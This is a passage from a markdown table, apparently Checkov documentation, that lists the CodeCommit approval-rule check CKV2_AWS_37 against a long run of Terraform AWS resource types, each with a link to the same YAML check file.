|\n| 1157 | CKV2_AWS_37     | resource | aws_elasticache_cluster                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1158 | CKV2_AWS_37     | resource | aws_elasticache_global_replication_group                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1159 | CKV2_AWS_37     | resource | aws_elasticache_parameter_group                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1160 | CKV2_AWS_37     | resource | aws_elasticache_replication_group                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1161 | CKV2_AWS_37     | resource | aws_elasticache_reserved_cache_node                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1162 | CKV2_AWS_37     | resource | aws_elasticache_security_group                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1163 | CKV2_AWS_37     | resource | aws_elasticache_serverless_cache                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1164 | CKV2_AWS_37     | resource | aws_elasticache_subnet_group                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1165 | CKV2_AWS_37     | resource | aws_elasticache_user                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1166 | CKV2_AWS_37     | resource | aws_elasticache_user_group                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1167 | CKV2_AWS_37     | resource | aws_elasticache_user_group_association                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1168 | CKV2_AWS_37     | resource | aws_elasticsearch_domain                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1169 | CKV2_AWS_37     | resource | aws_elasticsearch_domain_policy                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1170 | CKV2_AWS_37     | resource | aws_elasticsearch_domain_saml_options                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1171 | CKV2_AWS_37     | resource | aws_elasticsearch_vpc_endpoint                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1172 | CKV2_AWS_37     | resource | aws_elastictranscoder_pipeline                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1173 | CKV2_AWS_37     | resource | aws_elastictranscoder_preset                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1174 | CKV2_AWS_37     | resource | aws_elb                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1175 | CKV2_AWS_37     | resource | aws_elb_attachment                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1176 | CKV2_AWS_37     | resource | aws_emr_block_public_access_configuration                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1177 | CKV2_AWS_37     | resource | aws_emr_cluster                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1178 | CKV2_AWS_37     | resource | aws_emr_instance_fleet                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1179 | CKV2_AWS_37     | resource | aws_emr_instance_group                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1180 | CKV2_AWS_37     | resource | aws_emr_managed_scaling_policy                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1181 | CKV2_AWS_37     | resource | aws_emr_security_configuration                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1182 | CKV2_AWS_37     | resource | aws_emr_studio                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1183 | CKV2_AWS_37     | resource | aws_emr_studio_session_mapping                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1184 | CKV2_AWS_37     | resource | aws_emrcontainers_job_template                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1185 | CKV2_AWS_37     | resource | aws_emrcontainers_virtual_cluster                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1186 | CKV2_AWS_37     | resource | aws_emrserverless_application                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1187 | CKV2_AWS_37     | resource | aws_evidently_feature                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1188 | CKV2_AWS_37     | resource | aws_evidently_launch                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1189 | CKV2_AWS_37     | resource | aws_evidently_project                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1190 | CKV2_AWS_37     | resource | aws_evidently_segment                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1191 | CKV2_AWS_37     | resource | aws_finspace_kx_cluster                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1192 | CKV2_AWS_37     | resource | aws_finspace_kx_database                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1193 | CKV2_AWS_37     | resource | aws_finspace_kx_dataview                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1194 | CKV2_AWS_37     | resource | aws_finspace_kx_environment                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1195 | CKV2_AWS_37     | resource | aws_finspace_kx_scaling_group                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1196 | CKV2_AWS_37     | resource | aws_finspace_kx_user                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1197 | CKV2_AWS_37     | resource | aws_finspace_kx_volume                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1198 | CKV2_AWS_37     | resource | aws_fis_experiment_template                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1199 | CKV2_AWS_37     | resource | aws_flow_log                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1200 | CKV2_AWS_37     | resource | aws_fms_admin_account                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1201 | CKV2_AWS_37     | resource | aws_fms_policy                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1202 | CKV2_AWS_37     | resource | aws_fms_resource_set                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1203 | CKV2_AWS_37     | resource | aws_fsx_backup                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1204 | CKV2_AWS_37     | resource | aws_fsx_data_repository_association                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1205 | CKV2_AWS_37     | resource | aws_fsx_file_cache                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1206 | CKV2_AWS_37     | resource | aws_fsx_lustre_file_system                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1207 | CKV2_AWS_37     | resource | aws_fsx_ontap_file_system                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1208 | CKV2_AWS_37     | resource | aws_fsx_ontap_storage_virtual_machine                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1209 | CKV2_AWS_37     | resource | aws_fsx_ontap_volume                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1210 | CKV2_AWS_37     | resource | aws_fsx_openzfs_file_system                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1211 | CKV2_AWS_37     | resource | aws_fsx_openzfs_snapshot                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1212 | CKV2_AWS_37     | resource | aws_fsx_openzfs_volume                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1213 | CKV2_AWS_37     | resource | aws_fsx_windows_file_system                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1214 | CKV2_AWS_37     | resource | aws_gamelift_alias                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1215 | CKV2_AWS_37     | resource | aws_gamelift_build                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1216 | CKV2_AWS_37     | resource | aws_gamelift_fleet                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1217 | CKV2_AWS_37     | resource | aws_gamelift_game_server_group                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1218 | CKV2_AWS_37     | resource | aws_gamelift_game_session_queue                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1219 | CKV2_AWS_37     | resource | aws_gamelift_script                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1220 | CKV2_AWS_37     | resource | aws_glacier_vault                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1221 | CKV2_AWS_37     | resource | aws_glacier_vault_lock                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1222 | CKV2_AWS_37     | resource | aws_globalaccelerator_accelerator                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1223 | CKV2_AWS_37     | resource | aws_globalaccelerator_cross_account_attachment                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1224 | CKV2_AWS_37     | resource | aws_globalaccelerator_custom_routing_accelerator                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1225 | CKV2_AWS_37     | resource | aws_globalaccelerator_custom_routing_endpoint_group              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1226 | CKV2_AWS_37     | resource | aws_globalaccelerator_custom_routing_listener                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1227 | CKV2_AWS_37     | resource | aws_globalaccelerator_endpoint_group                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1228 | CKV2_AWS_37     | resource | aws_globalaccelerator_listener                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1229 | CKV2_AWS_37     | resource | aws_glue_catalog_database                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1230 | CKV2_AWS_37     | resource | aws_glue_catalog_table                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1231 | CKV2_AWS_37     | resource | aws_glue_catalog_table_optimizer                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1232 | CKV2_AWS_37     | resource | aws_glue_classifier                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1233 | CKV2_AWS_37     | resource | aws_glue_connection                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1234 | CKV2_AWS_37     | resource | aws_glue_crawler                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1235 | CKV2_AWS_37     | resource | aws_glue_data_catalog_encryption_settings                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1236 | CKV2_AWS_37     | resource | aws_glue_data_quality_ruleset                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1237 | CKV2_AWS_37     | resource | aws_glue_dev_endpoint                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1238 | CKV2_AWS_37     | resource | aws_glue_job                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1239 | CKV2_AWS_37     | resource | aws_glue_ml_transform                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1240 | CKV2_AWS_37     | resource | aws_glue_partition                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1241 | CKV2_AWS_37     | resource | aws_glue_partition_index                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1242 | CKV2_AWS_37     | resource | aws_glue_registry                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1243 | CKV2_AWS_37     | resource | aws_glue_resource_policy                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1244 | CKV2_AWS_37     | resource | aws_glue_schema                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1245 | CKV2_AWS_37     | resource | aws_glue_security_configuration                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1246 | CKV2_AWS_37     | resource | aws_glue_trigger                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1247 | CKV2_AWS_37     | resource | aws_glue_user_defined_function                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1248 | CKV2_AWS_37     | resource | aws_glue_workflow                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1249 | CKV2_AWS_37     | resource | aws_grafana_license_association                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1250 | 